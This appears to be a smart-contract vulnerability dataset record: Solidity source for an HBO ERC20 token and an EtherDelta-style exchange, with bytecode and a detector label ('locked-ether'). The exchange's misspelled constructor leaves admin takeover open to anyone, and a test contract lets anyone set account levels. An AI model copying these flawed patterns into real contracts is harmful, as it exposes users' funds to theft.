* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/token/HBOToken.sol
// ----------------------------------------------------------------------------
// smart contract - ERC20 Token Interface
//
// The MIT Licence.
// ----------------------------------------------------------------------------
contract HBOToken is PausableToken, BurnableToken {
string public symbol = "HBO";
string public name = "Harbor Chain Token";
uint8 public decimals = 18;
uint public constant INITIAL_SUPPLY = 100 * 10 ** 8 * 10 ** 18;
function HBOToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function () payable public {
revert();
}
}
|
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c057806323b872dd146101e55780632ff2e9dc1461020d578063313ce567146102205780633f4ba83a1461024957806342966c681461025e5780635c975abb14610274578063661884631461028757806370a08231146102a95780638456cb59146102c85780638da5cb5b146102db57806395d89b411461030a578063a9059cbb1461031d578063d73dd6231461033f578063dd62ed3e14610361578063f2fde38b14610386575b600080fd5b341561010b57600080fd5b6101136103a5565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ac600160a060020a0360043516602435610443565b604051901515815260200160405180910390f35b34156101cb57600080fd5b6101d361046e565b60405190815260200160405180910390f35b34156101f057600080fd5b6101ac600160a060020a0360043581169060243516604435610474565b341561021857600080fd5b6101d36104a1565b341561022b57600080fd5b6102336104b1565b60405160ff909116815260200160405180910390f35b341561025457600080fd5b61025c6104ba565b005b341561026957600080fd5b61025c600435610539565b341561027f57600080fd5b6101ac610632565b341561029257600080fd5b6101ac600160a060020a0360043516602435610642565b34156102b457600080fd5b6101d3600160a060020a0360043516610666565b34156102d357600080fd5b61025c610681565b34156102e657600080fd5b6102ee610705565b604051600160a060020a03909116815260200160405180910390f35b341561031557600080fd5b610113610714565b341561032857600080fd5b6101ac600160a060020a036004351660243561077f565b341561034a57600080fd5b6101ac600160a060020a03600435166024356107a3565b341561036c57600080fd5b6101d3600160a060020a03600435811690602435166107c7565b341561039157600080fd5b61025c600160a060020a03600435166107f2565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561043b5780601f106104105761010080835404028352916020019161043b565b820191906000526020600020905b81548152906001019060200180831161041e57829003601f168201915b505050505081565b60035460009060a060020a900460ff161561045d57600080fd5b610467838361088d565b9392505050565b60015490565b60035460009060a060020a900460ff161561048e57600080fd5b6104998484846108f9565b949350505050565b6b204fce5e3e2502611000000081565b60065460ff1681565b60035433600160a060020a039081169116146104d557600080fd5b60035460a060020a900460ff1615156104ed57600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160a060020a03331660009081526020819052604081205482111561055e57600080fd5b5033600160a060020a0381166000908152602081905260409020546105839083610a79565b600160a060020a0382166000908152602081905260409020556001546105af908363ffffffff610a7916565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a0382167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561065c57600080fd5b6104678383610a8b565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161461069c57600080fd5b60035460a060020a900460ff16156106b357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561043b5780601f106104105761010080835404028352916020019161043b565b60035460009060a060020a900460ff161561079957600080fd5b6104678383610b85565b60035460009060a060020a900460ff16156107bd57600080fd5b6104678383610c97565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461080d57600080fd5b600160a060020a038116151561082257600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a038316151561091057600080fd5b600160a060020a03841660009081526020819052604090205482111561093557600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561096857600080fd5b600160a060020a038416600090815260208190526040902054610991908363ffffffff610a7916565b600160a060020a0380861660009081526020819052604080822093909355908516815220546109c6908363ffffffff610d3b16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610a0c908363ffffffff610a7916565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610a8557fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610ae857600160a060020a033381166000908152600260209081526040808320938816835292905290812055610b1f565b610af8818463ffffffff610a7916565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610b9c57600080fd5b600160a060020a033316600090815260208190526040902054821115610bc157600080fd5b600160a060020a033316600090815260208190526040902054610bea908363ffffffff610a7916565b600160a060020a033381166000908152602081905260408082209390935590851681522054610c1f908363ffffffff610d3b16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610ccf908363ffffffff610d3b16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b60008282018381101561046757fe00a165627a7a7230582097d19ae5a5749422be9a1de7441ff260b8c271122c521a54280493bb1aa0ca630029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,040 |
0xfb7f435fb300a3d66bb75ffb22b27c46407d9b12
|
pragma solidity ^0.4.9;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint256 supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
//Default assumes totalSupply can't be over max (2^256 - 1).
//If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap.
//Replace the if with this one instead.
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
//same as above. Replace this line with the following if you want to protect against wrapping uints.
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
//if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
function ReserveToken() {
minter = msg.sender;
}
function create(address account, uint amount) {
if (msg.sender != minter) throw;
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) {
if (msg.sender != minter) throw;
if (balances[account] < amount) throw;
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract AccountLevels {
//given a user, returns an account level
//0 = regular user (pays take fee and make fee)
//1 = market maker silver (pays take fee, no make fee, gets rebate)
//2 = market maker gold (pays take fee, no make fee, gets entire counterparty's take fee as rebate)
function accountLevel(address user) constant returns(uint) {}
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) {
accountLevels[user] = level;
}
function accountLevel(address user) constant returns(uint) {
return accountLevels[user];
}
}
contract Ethertokendelta is SafeMath {
address public admin; //the admin address
address public feeAccount; //the account that will receive fees
address public accountLevelsAddr; //the address of the AccountLevels contract
uint public feeMake; //percentage times (1 ether)
uint public feeTake; //percentage times (1 ether)
uint public feeRebate; //percentage times (1 ether)
mapping (address => mapping (address => uint)) public tokens; //mapping of token addresses to mapping of account balances (token=0 means Ether)
mapping (address => mapping (bytes32 => bool)) public orders; //mapping of user accounts to mapping of order hashes to booleans (true = submitted by user, equivalent to offchain signature)
mapping (address => mapping (bytes32 => uint)) public orderFills; //mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
function EthertokenDelta(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) {
admin = admin_;
feeAccount = feeAccount_;
accountLevelsAddr = accountLevelsAddr_;
feeMake = feeMake_;
feeTake = feeTake_;
feeRebate = feeRebate_;
}
function() {
throw;
}
function changeAdmin(address admin_) {
if (msg.sender != admin) throw;
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) {
if (msg.sender != admin) throw;
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) {
if (msg.sender != admin) throw;
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) {
if (msg.sender != admin) throw;
if (feeMake_ > feeMake) throw;
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) {
if (msg.sender != admin) throw;
if (feeTake_ > feeTake || feeTake_ < feeRebate) throw;
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) {
if (msg.sender != admin) throw;
if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw;
feeRebate = feeRebate_;
}
function deposit() payable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) {
if (tokens[0][msg.sender] < amount) throw;
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.call.value(amount)()) throw;
Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) {
//remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
if (token==0) throw;
if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) {
if (token==0) throw;
if (tokens[token][msg.sender] < amount) throw;
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) throw;
Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
orders[msg.sender][hash] = true;
Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
//amount is in amountGet terms
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) throw;
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(
(orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
block.number <= expires
)) return 0;
uint available1 = safeSub(amountGet, orderFills[user][hash]);
uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
if (available1<available2) return available1;
return available2;
}
function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
return orderFills[user][hash];
}
function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
orderFills[msg.sender][hash] = amountGet;
Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a19b14a146101715780630b9276661461024f57806319774d43146102da578063278b8c0e1461033f5780632e1a7d4d146103f35780632fb260f614610420578063338b5dea146104c157806346be96c31461050e578063508493bc146105f657806354d03b5c1461066d578063577863941461069a5780635e1d7ae4146106c557806365e17c9d146106f25780636c86888b1461074957806371ffcb161461085f578063731c2f81146108a25780638823a9c0146108cd5780638f283970146108fa5780639e281a981461093d578063bb5f46291461098a578063c281309e146109f3578063d0e30db014610a1e578063e8f6bc2e14610a28578063f341294214610a6b578063f7888aec14610ac2578063f851a44014610b39578063fb6e155f14610b90575b34801561016b57600080fd5b50600080fd5b34801561017d57600080fd5b5061024d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190505050610c78565b005b34801561025b57600080fd5b506102d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919050505061118d565b005b3480156102e657600080fd5b50610329600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560001916906020019092919050505061142c565b6040518082815260200191505060405180910390f35b34801561034b57600080fd5b506103f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050611451565b005b3480156103ff57600080fd5b5061041e60048036038101908080359060200190929190505050611879565b005b34801561042c57600080fd5b506104bf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190505050611af8565b005b3480156104cd57600080fd5b5061050c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611bd7565b005b34801561051a57600080fd5b506105e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050611f45565b6040518082815260200191505060405180910390f35b34801561060257600080fd5b50610657600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120ea565b6040518082815260200191505060405180910390f35b34801561067957600080fd5b506106986004803603810190808035906020019092919050505061210f565b005b3480156106a657600080fd5b506106af612183565b6040518082815260200191505060405180910390f35b3480156106d157600080fd5b506106f060048036038101908080359060200190929190505050612189565b005b3480156106fe57600080fd5b50610707612209565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561075557600080fd5b50610845600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff1690602001909291908035600019169060200190929190803560001916906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061222f565b604051808215151515815260200191505060405180910390f35b34801561086b57600080fd5b506108a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122f2565b005b3480156108ae57600080fd5b506108b7612391565b6040518082815260200191505060405180910390f35b3480156108d957600080fd5b506108f860048036038101908080359060200190929190505050612397565b005b34801561090657600080fd5b5061093b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612417565b005b34801561094957600080fd5b50610988600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506124b5565b005b34801561099657600080fd5b506109d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050612878565b604051808215151515815260200191505060405180910390f35b3480156109ff57600080fd5b50610a086128a7565b6040518082815260200191505060405180910390f35b610a266128ad565b005b348015610a3457600080fd5b50610a69600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a81565b005b348015610a7757600080fd5b50610a80612b20565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ace57600080fd5b50610b23600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b46565b6040518082815260200191505060405180910390f35b348015610b4557600080fd5b50610b4e612bcd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b9c57600080fd5b50610c62600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050612bf2565b6040518082815260200191505060405180910390f35b60006002308d8d8d8d8d8d604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015610d8a573d6000803e3d6000fd5b5050506040513d6020811015610d9f57600080fd5b81019080805190602001909291905050509050600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff1680610f1357508573ffffffffffffffffffffffffffffffffffffffff1660018260405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020878787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015610ef1573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b8015610f1f5750874311155b8015610f8c57508a610f89600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084600019166000191681526020019081526020016000205484612fc8565b11155b1515610f9757600080fd5b610fa58c8c8c8c8a87612ff2565b611007600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083600019166000191681526020019081526020016000205483612fc8565b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008360001916600019168152602001908152602001600020819055507f6effdda786735d5033bfad5f53e5131abcced9e52be6c507b62d639685fbed6d8c838c8e868e0281151561109457fe5b048a33604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001965050505050505060405180910390a1505050505050505050505050565b6000600230888888888888604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af115801561129f573d6000803e3d6000fd5b5050506040513d60208110156112b457600080fd5b810190808051906020019092919050505090506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000836000191660001916815260200190815260200160002060006101000a81548160ff0219169083151502179055507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e8587878787878733604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200197505050505050505060405180910390a150505050505050565b6008602052816000526040600020602052806000526040600020600091509150505481565b60006002308b8b8b8b8b8b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015611563573d6000803e3d6000fd5b5050506040513d602081101561157857600080fd5b81019080805190602001909291905050509050600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000826000191660001916815260200190815260200160002060009054906101000a900460ff16806116ec57503373ffffffffffffffffffffffffffffffffffffffff1660018260405180807f19457468657265756d